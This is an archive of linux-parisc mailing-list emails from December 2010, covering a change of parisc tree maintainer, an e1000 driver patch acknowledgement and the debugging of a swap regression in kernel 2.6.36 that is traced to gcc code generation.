 F:	arch/parisc/
 F:	drivers/parisc/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc tree maintainer
Date: Mon, 6 Dec 2010 13:30:40 -0500 (EST)
Lines: 17
Approved: news@gmane.org
Message-ID: <20101206183040.C87914E6A@hiauly1.hia.nrc.ca>
References: <20101206164310.GQ25668@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1291660632 29529 80.91.229.12 (6 Dec 2010 18:37:12 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 6 Dec 2010 18:37:12 +0000 (UTC)
Cc: James.Bottomley@HansenPartnership.com, deller@gmx.de,
	torvalds@linux-foundation.org, linux-parisc@vger.kernel.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 06 19:37:07 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PPfvu-0005rf-Nn
	for glpp-linux-parisc@lo.gmane.org; Mon, 06 Dec 2010 19:37:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751425Ab0LFShE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 6 Dec 2010 13:37:04 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:1344 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750837Ab0LFShE (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 6 Dec 2010 13:37:04 -0500
X-Greylist: delayed 381 seconds by postgrey-1.27 at vger.kernel.org; Mon, 06 Dec 2010 13:37:04 EST
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id C87914E6A; Mon,  6 Dec 2010 13:30:40 -0500 (EST)
In-Reply-To: <20101206164310.GQ25668@bombadil.infradead.org> from "Kyle McMartin" at Dec 6, 2010 11:43:10 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3274
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3274>

Hi Kyle,

> I'm getting a bit bored of maintaining the parisc trees and such... Do
> either of you want to take over? If you do, please reply so that Linus
> knows that the next pull request will come from you instead of me.

Thanks for all your work in maintaining the parisc tree.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc tree maintainer
Date: Mon, 06 Dec 2010 15:53:11 -0600
Lines: 17
Approved: news@gmane.org
Message-ID: <1291672391.7021.33.camel@mulgrave.site>
References: <20101206164310.GQ25668@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1291672401 24691 80.91.229.12 (6 Dec 2010 21:53:21 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 6 Dec 2010 21:53:21 +0000 (UTC)
Cc: deller@gmx.de, torvalds@linux-foundation.org,
	linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 06 22:53:16 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PPizk-00054R-6B
	for glpp-linux-parisc@lo.gmane.org; Mon, 06 Dec 2010 22:53:16 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754097Ab0LFVxP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 6 Dec 2010 16:53:15 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:48293 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752325Ab0LFVxO (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 6 Dec 2010 16:53:14 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 071C78EE0F8;
	Mon,  6 Dec 2010 13:53:14 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id FPmhEfXazJ+n; Mon,  6 Dec 2010 13:53:13 -0800 (PST)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 5C3748EE0DB;
	Mon,  6 Dec 2010 13:53:13 -0800 (PST)
In-Reply-To: <20101206164310.GQ25668@bombadil.infradead.org>
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3275
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3275>

On Mon, 2010-12-06 at 11:43 -0500, Kyle McMartin wrote:
> I'm getting a bit bored of maintaining the parisc trees and such... Do
> either of you want to take over? If you do, please reply so that Linus
> knows that the next pull request will come from you instead of me.

I suppose I can ... it's not a high volume tree, fortunately.  Thanks
for doing it this long ... although I've got to say, I think continuing
would be good practise for you.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc tree maintainer
Date: Mon, 06 Dec 2010 23:26:17 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <4CFD6309.2000202@gmx.de>
References: <20101206164310.GQ25668@bombadil.infradead.org> <1291672391.7021.33.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1291674391 1980 80.91.229.12 (6 Dec 2010 22:26:31 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 6 Dec 2010 22:26:31 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, torvalds@linux-foundation.org,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 06 23:26:26 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PPjVp-0004BI-F8
	for glpp-linux-parisc@lo.gmane.org; Mon, 06 Dec 2010 23:26:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753796Ab0LFW0V (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 6 Dec 2010 17:26:21 -0500
Original-Received: from mailout-de.gmx.net ([213.165.64.23]:45240 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with SMTP
	id S1754212Ab0LFW0V (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 6 Dec 2010 17:26:21 -0500
Original-Received: (qmail invoked by alias); 06 Dec 2010 22:26:19 -0000
Original-Received: from p54AD161A.dip0.t-ipconnect.de (EHLO [192.168.178.20]) [84.173.22.26]
  by mail.gmx.net (mp063) with SMTP; 06 Dec 2010 23:26:19 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19GUyEZpkJGB9slUORect2kU3jnCjSI+Ns21yFdz/
	+mrFDQl18Sj3zB
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.12) Gecko/20101103 Fedora/1.0-0.33.b2pre.fc13 Lightning/1.0b3pre Thunderbird/3.1.6
In-Reply-To: <1291672391.7021.33.camel@mulgrave.site>
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3276
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3276>

On 12/06/2010 10:53 PM, James Bottomley wrote:
> On Mon, 2010-12-06 at 11:43 -0500, Kyle McMartin wrote:
>> I'm getting a bit bored of maintaining the parisc trees and such... Do
>> either of you want to take over? If you do, please reply so that Linus
>> knows that the next pull request will come from you instead of me.
> I suppose I can ... it's not a high volume tree, fortunately.  Thanks
> for doing it this long ... although I've got to say, I think continuing
> would be good practise for you.

James, thanks for taking that job!
Since our second baby (that time a son) was born just yesterday, I don't 
think I will have much time during the next few weeks at least :-)

Kyle, thanks a lot for all your work up to now.
I hope your interest for parisc will come back again at some point ;-)

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kirsher, Jeffrey T" <jeffrey.t.kirsher@intel.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.drivers.e1000.devel
Subject: RE: [PATCH] e1000: Allow the driver to be used on PA RISC C8000
 workstation
Date: Tue, 7 Dec 2010 05:48:55 -0800
Lines: 19
Approved: news@gmane.org
Message-ID: <A78C6259B11833419567082E2DC0C25601D8A9CA5E@orsmsx508.amr.corp.intel.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: dough.gmane.org 1291729740 28202 80.91.229.12 (7 Dec 2010 13:49:00 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 7 Dec 2010 13:49:00 +0000 (UTC)
Cc: "'e1000-devel@lists.sourceforge.net'" 
	<e1000-devel@lists.sourceforge.net>,
	"'mikulas@artax.karlin.mff.cuni.cz'" 
	<mikulas@artax.karlin.mff.cuni.cz>,
	"'linux-parisc@vger.kernel.org'" <linux-parisc@vger.kernel.org>
To: "'kyle@mcmartin.ca'" <kyle@mcmartin.ca>,
	"'gmsoft@tuxicoman.be'" <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 07 14:48:59 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PPxuc-0008Ti-AV
	for glpp-linux-parisc@lo.gmane.org; Tue, 07 Dec 2010 14:48:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751796Ab0LGNs5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 7 Dec 2010 08:48:57 -0500
Original-Received: from mga01.intel.com ([192.55.52.88]:32485 "EHLO mga01.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751549Ab0LGNs5 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 7 Dec 2010 08:48:57 -0500
Original-Received: from fmsmga002.fm.intel.com ([10.253.24.26])
  by fmsmga101.fm.intel.com with ESMTP; 07 Dec 2010 05:48:57 -0800
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="4.59,310,1288594800"; 
   d="scan'208";a="633948488"
Original-Received: from orsmsx602.amr.corp.intel.com ([10.22.226.211])
  by fmsmga002.fm.intel.com with ESMTP; 07 Dec 2010 05:48:56 -0800
Original-Received: from orsmsx605.amr.corp.intel.com (10.22.226.10) by
 orsmsx602.amr.corp.intel.com (10.22.226.211) with Microsoft SMTP Server (TLS)
 id 8.2.254.0; Tue, 7 Dec 2010 05:48:56 -0800
Original-Received: from orsmsx508.amr.corp.intel.com ([10.22.226.46]) by
 orsmsx605.amr.corp.intel.com ([10.22.226.10]) with mapi; Tue, 7 Dec 2010
 05:48:56 -0800
Thread-Topic: [PATCH] e1000: Allow the driver to be used on PA RISC C8000
 workstation
Thread-Index: AcuVWBCne50VDwJrSEm2DbVFV8KOiwAvWyIv
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
acceptlanguage: en-US
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3277 gmane.linux.drivers.e1000.devel:7746
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3277>

SSB3aWxsIGFkZCBpdCB0byBteSB0cmVlL3F1ZXVlLgoKQ2hlZXIsCkplZmYKDQoNCiAtLS0tLU9y
aWdpbmFsIE1lc3NhZ2UtLS0tLQ0KRnJvbTogCUt5bGUgTWNNYXJ0aW4gW21haWx0bzpreWxlQG1j
bWFydGluLmNhXQ0KU2VudDoJTW9uZGF5LCBEZWNlbWJlciAwNiwgMjAxMCAwODoxMiBBTSBVUyBN
b3VudGFpbiBTdGFuZGFyZCBUaW1lDQpUbzoJR3V5IE1hcnRpbg0KQ2M6CWUxMDAwLWRldmVsQGxp
c3RzLnNvdXJjZWZvcmdlLm5ldDsgTWlrdWxhcyBQYXRvY2thOyBsaW51eC1wYXJpc2NAdmdlci5r
ZXJuZWwub3JnOyBLaXJzaGVyLCBKZWZmcmV5IFQNClN1YmplY3Q6CVJlOiBbUEFUQ0hdIGUxMDAw
OiBBbGxvdyB0aGUgZHJpdmVyIHRvIGJlIHVzZWQgb24gUEEgUklTQyBDODAwMCB3b3Jrc3RhdGlv
bg0KDQpPbiBTdW4sIERlYyAwNSwgMjAxMCBhdCAwNjowNDoyNlBNICswMTAwLCBHdXkgTWFydGlu
IHdyb3RlOg0KPiBIaSBhbGwsDQo+IA0KPiBJIGNhbiBjb25maXJtIHRoYXQgSSd2ZSBzZWVuIHRo
ZSB2ZXJ5IHNhbWUgb24gbXVsdGlwbGUgQzgwMDANCj4gd29ya3N0YXRpb24gdG9vLg0KPiANCj4g
Q2FuIHNvbWVvbmUgcGxlYXNlIGFwcGx5IHRoaXMgcGF0Y2ggPw0KPiANCj4gVGVzdGVkLWJ5OiBH
dXkgTWFydGluIDxnbXNvZnRAdHV4aWNvbWFuLmJlPg0KPiANCg0KSXQgc2hvdWxkIGJlIHNlbnQg
dmlhIG5ldGRldkAgc28gdGhhdCBEYXZlTSBjYW4gcGljayBpdCB1cCBpZiB0aGUgZTEwMDANCmZv
bGtzIGRvIG5vdC4uLg0KDQotLUt5bGUNCg==
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: 2.6.36 regression : swap support broken
Date: Sun, 12 Dec 2010 19:38:56 +0100
Lines: 86
Approved: news@gmane.org
Message-ID: <20101212193856.15f93ea4@borg.bxl.tuxicoman.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1292179153 9362 80.91.229.12 (12 Dec 2010 18:39:13 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 12 Dec 2010 18:39:13 +0000 (UTC)
Cc: eike-kernel@sf-tec.de
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 12 19:39:09 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PRqp9-0005Fh-NT
	for glpp-linux-parisc@lo.gmane.org; Sun, 12 Dec 2010 19:39:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753586Ab0LLSjH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 12 Dec 2010 13:39:07 -0500
Original-Received: from bente.schedom-europe.net ([193.109.184.68]:44207 "EHLO
	bente.schedom-europe.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753455Ab0LLSjG (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 12 Dec 2010 13:39:06 -0500
Original-Received: (qmail 30401 invoked by uid 507); 12 Dec 2010 19:39:04 +0100
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on
	bente.schedom-europe.net
X-Spam-Level: ***********
X-Spam-Status: No, score=11.2 required=15.0 tests=BAYES_99,FH_DATE_PAST_20XX,
	RCVD_IN_PBL,RDNS_DYNAMIC autolearn=disabled version=3.2.5
Original-Received: from ip115.dyn1.liege.schedom-europe.net (HELO ibiza.bxl.tuxicoman.be) (83.101.5.115)
  by bente.schedom-europe.net with SMTP; 12 Dec 2010 19:38:58 +0100
Original-Received: from borg.bxl.tuxicoman.be ([2001:6f8:310:301::1])
	by ibiza.bxl.tuxicoman.be with esmtps (TLS1.0:DHE_RSA_AES_128_CBC_SHA1:16)
	(Exim 4.72)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1PRrk6-0002CF-Ck; Sun, 12 Dec 2010 20:37:58 +0100
X-Mailer: Claws Mail 3.7.6 (GTK+ 2.20.1; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3278
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3278>


Hi all,


Recently, swap got broken. When it has to be used, the kernel issue the
following line numerous times :
swap_free: Bad swap offset entry 00100009

It eventually panic with useless backtrace. Note that the offset entry
is always the same number.

This can be reproduced easily by booting with mem=64m and start
compiling something like the kernel.


I've been bisecting this and I found out it has been introduced in
4e60c86bd9e5a7110ed28874d0b6592186550ae8 and to be precise, the
following change in include/linux/mmdebug.h :
-#define VM_BUG_ON(cond) do { } while (0)
+#define VM_BUG_ON(cond) do { (void)(cond); } while (0)


While the above change looks harmless, it introduces a slight change in
mm/swap_state.c:154 in add_to_swap() : VM_BUG_ON(!PageUptodate(page));
If you comment out that line, the problem is gone.

PageUptodate() will call smp_rmb() being the memory barrier instruction.

Those tests were done with linux-2.6.36 and gcc-4.4.4.
Having the feeling that this might have been a gcc bug, I recompiled
the whole kernel with gcc-4.2.4 and the problem was gone.

Looking at the assembly output for add_to_swap(), there is a slight
difference.

- gcc-4.4.4 output :

add_to_swap:
        .PROC
        .CALLINFO FRAME=64,CALLS,SAVE_RP,ENTRY_GR=4
        .ENTRY
        stw %r2,-20(%r30)
        stw,ma %r4,64(%r30)
        stw %r3,-60(%r30)
        ldw 0(%r26),%r28
        copy %r26,%r3
        ldw 0(%r26),%r28
        bb,>=,n %r28,28,.L61
.L61:   
        b,l get_swap_page,%r2
        ...


- gcc-4.2.4 output :

add_to_swap:
        .PROC
        .CALLINFO FRAME=64,CALLS,SAVE_RP,ENTRY_GR=4
        .ENTRY
        stw %r2,-20(%r30)
        stw,ma %r4,64(%r30)
        stw %r3,-60(%r30)
        ldw 0(%r26),%r19
        copy %r26,%r3
        ldw 0(%r26),%r28
        extrw,s,>= %r28,28,1,%r0
.L76:   
        b,l get_swap_page,%r2
        ...

As you can see, gcc-4.2 uses extrw while gcc-4.4 uses bb.

What's the next step in order to troubleshoot this ?
Is this really a gcc bug or is the problem elsewhere ?



HTH,
  Guy


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.36 regression : swap support broken
Date: Sun, 12 Dec 2010 14:21:47 -0500 (EST)
Lines: 71
Approved: news@gmane.org
Message-ID: <20101212192148.079834CF3@hiauly1.hia.nrc.ca>
References: <20101212193856.15f93ea4@borg.bxl.tuxicoman.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1292181716 20139 80.91.229.12 (12 Dec 2010 19:21:56 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 12 Dec 2010 19:21:56 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, eike-kernel@sf-tec.de
To: gmsoft@tuxicoman.be (Guy Martin)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 12 20:21:51 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PRrUU-00066H-FW
	for glpp-linux-parisc@lo.gmane.org; Sun, 12 Dec 2010 20:21:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753886Ab0LLTVt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 12 Dec 2010 14:21:49 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:1612 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753861Ab0LLTVt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 12 Dec 2010 14:21:49 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 079834CF3; Sun, 12 Dec 2010 14:21:47 -0500 (EST)
In-Reply-To: <20101212193856.15f93ea4@borg.bxl.tuxicoman.be> from "Guy Martin" at Dec 12, 2010 07:38:56 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3279
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3279>

> I've been bisecting this and I found out it has been introduced in
> 4e60c86bd9e5a7110ed28874d0b6592186550ae8 and to be precise, the
> following change in include/linux/mmdebug.h :
> -#define VM_BUG_ON(cond) do { } while (0)
> +#define VM_BUG_ON(cond) do { (void)(cond); } while (0)
> 
> 
> While the above change looks harmless, it introduces a slight change in
> mm/swap_state.c:154 in add_to_swap() : VM_BUG_ON(!PageUptodate(page));
> If you comment out that line, the problem is gone.
> 
> PageUptodate() will call smp_rmb() being the memory barrier instruction.
> 
> Those tests were done with linux-2.6.36 and gcc-4.4.4.
> Having the feeling that this might have been a gcc bug, I recompiled
> the whole kernel with gcc-4.2.4 and the problem was gone.
> 
> Looking at the assembly output for add_to_swap(), there is a slight
> difference.
> 
> - gcc-4.4.4 output :
> 
> add_to_swap:
>         .PROC
>         .CALLINFO FRAME=64,CALLS,SAVE_RP,ENTRY_GR=4
>         .ENTRY
>         stw %r2,-20(%r30)
>         stw,ma %r4,64(%r30)
>         stw %r3,-60(%r30)
>         ldw 0(%r26),%r28
>         copy %r26,%r3
>         ldw 0(%r26),%r28
>         bb,>=,n %r28,28,.L61
> .L61:   
>         b,l get_swap_page,%r2
>         ...

Hmmm, I didn't think we allowed call instructions in the delay slot of
a branch.  Even though nullified, I think there were issues on some
processors.  Is an asm involved?

> - gcc-4.2.4 output :
> 
> add_to_swap:
>         .PROC
>         .CALLINFO FRAME=64,CALLS,SAVE_RP,ENTRY_GR=4
>         .ENTRY
>         stw %r2,-20(%r30)
>         stw,ma %r4,64(%r30)
>         stw %r3,-60(%r30)
>         ldw 0(%r26),%r19
>         copy %r26,%r3
>         ldw 0(%r26),%r28
>         extrw,s,>= %r28,28,1,%r0
> .L76:   
>         b,l get_swap_page,%r2
>         ...

This is almost certainly wrong as it will skip the call when bit 28 is zero.

Would you please send preprocessed source?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.36 regression : swap support broken
Date: Sun, 12 Dec 2010 15:22:59 -0500
Organization: nrc.ca
Lines: 27
Approved: news@gmane.org
Message-ID: <20101212202258.GA9184@hiauly1.hia.nrc.ca>
References: <20101212193856.15f93ea4@borg.bxl.tuxicoman.be> <20101212192148.079834CF3@hiauly1.hia.nrc.ca> <20101212203322.21537607@borg.bxl.tuxicoman.be>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1292185387 4008 80.91.229.12 (12 Dec 2010 20:23:07 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 12 Dec 2010 20:23:07 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, eike-kernel@sf-tec.de
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 12 21:23:03 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PRsRi-0004Eu-1O
	for glpp-linux-parisc@lo.gmane.org; Sun, 12 Dec 2010 21:23:02 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753999Ab0LLUXB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 12 Dec 2010 15:23:01 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:1631 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753950Ab0LLUXA (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 12 Dec 2010 15:23:00 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 75D384CF3; Sun, 12 Dec 2010 15:22:59 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20101212203322.21537607@borg.bxl.tuxicoman.be>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
